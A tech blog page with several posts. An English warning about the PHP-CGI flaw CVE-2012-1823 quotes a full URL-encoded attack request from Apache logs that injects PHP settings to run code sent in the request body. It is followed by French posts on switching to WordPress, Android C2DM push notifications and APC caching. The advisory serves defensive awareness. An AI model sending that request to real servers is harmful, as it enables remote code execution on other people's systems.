Security hole in PHP5.X – CVE-2012-1823

There is a big security hole in PHP5.X (php-cgi) which could be made to execute arbitrary code with the privilege of the web server. There is an public exploit posted on 2013-10-29, and many bots uses it! Security hole was detected in September 2012 and so distributions have already patched php5-cgi package, but if you’re not up-to-date, you’re doomed!

More information :
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823
https://security-tracker.debian.org/tracker/CVE-2012-1823
http://www.ubuntu.com/usn/usn-1437-1/

Typical forged request as seen in  Apache logs:

POST /%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

Le Kernel Panique est mort, vive le Kernel Panique !

Un gros changement … Je suis passé à WordPress après avoir pété un câble sur PluXml dont le système de mise à jour est horrible … J’en parlerais peut-être dans un billet ou pas … !

Pour passer à WordPress et garder tout le contenu, je me suis écrit un petit script PHP en environ 8H, tout de même. Pour les curieux, il est disponible ici : https://github.com/benpro/PluXmlToWP

Ensuite, histoire de garder un peu une bonne position dans Google, j’ai du faire pas mal de ré-écriture d’url pour conserver les anciens liens !

Pfiou ! Il me reste à customiser un peu le thème en changeant les bannières…

À bientôt avec des nouveaux articles, j’espère o/.

C2DM – Notifications Android – Push

Comme on dit, « une image vaut mille mots », alors voici un petit schéma expliquant le processus de C2DM.

Cliquez sur l’image pour l’agrandir.

  1. L’application demande un « Registration ID ». C’est un ID sur les serveurs de Google qui permet d’identifier l’appareil. Celui-ci change de temps en temps, dans ce cas, Google annoncera le nouvel ID à l’application. Elle devra le re-signaler à l’API via l’étape 3 ;
  2. Les serveurs de Google renvoient le fameux « Registration ID » ;
  3. L’application Android envoi cet ID à son API. Cela n’est fait qu’une seule fois, ou lors du changement de RegistrationID ;
  4. L’API s’authentifie sur les serveurs de Google, cette étape n’est pas faite tout le temps, il faudra stocker le jeton d’authentification obtenu en 5 ;
  5. Google renvoi le jeton d’authentification ;
  6. L’API peut maintenant envoyer sa notification aux serveurs de Google, contenant le RegistrationID, le jeton d’authentification et le message ;
  7. Google se chargera de l’envoyer sur l’appareil, l’application décidera quoi faire avec.

Toutes ces opérations s’effectuent en REST. Libre à vous d’implémenter ces étapes avec votre langage et vos outils favoris. En guise d’exemple, voici un code en PHP utilisant la librairie curl, disponible sur Github. Pour la partie applicative sur Android, consulter la documentation.

La documentation de l’API Google est par ailleurs très bien fournie, il est donc conseillé de la lire en entier, ça se lit très facilement 😉

Optimiser l’exécution de code PHP – Cache APC

Le langage PHP est un langage non compilé (tel que le python, le perl ou le script shell), pour qu’il soit interprété, une compilation du code est effectué lors de l’exécution de celui-ci, ce qui peut être lent selon les scripts php que vous possédez. De plus vous noterez que le principe est fastidieux, compiler le code à chaque fois ralentit forcément les choses… En particulier sur les CMS qui utilisent des framework, les scripts PHP font appel à de nombreux autres scripts PHP, augmentant les délais de compilation.

C’est là qu’intervient APC, il met en cache le code “compilé” (qu’on appelle un opcode), ainsi l’interpréteur PHP ne compile pas le code, mais lis directement l’opcode, d’où un gain de temps très important !

Ce module est très simple à installer, choisissez votre méthode (apt, rpm, compilation), et chargez le module dans apache, le tour est joué ! Vous pouvez ensuite vous servir du script “apc.php” fournis pour monitoré votre cache.
A titre d’information, j’ai gagné environ 500ms de temps d’exécution, ce qui n’est pas négligeable. Les pages de mon site AnimesOST, sont maintenant exécutés en 100-200ms au lieu de 700ms et + !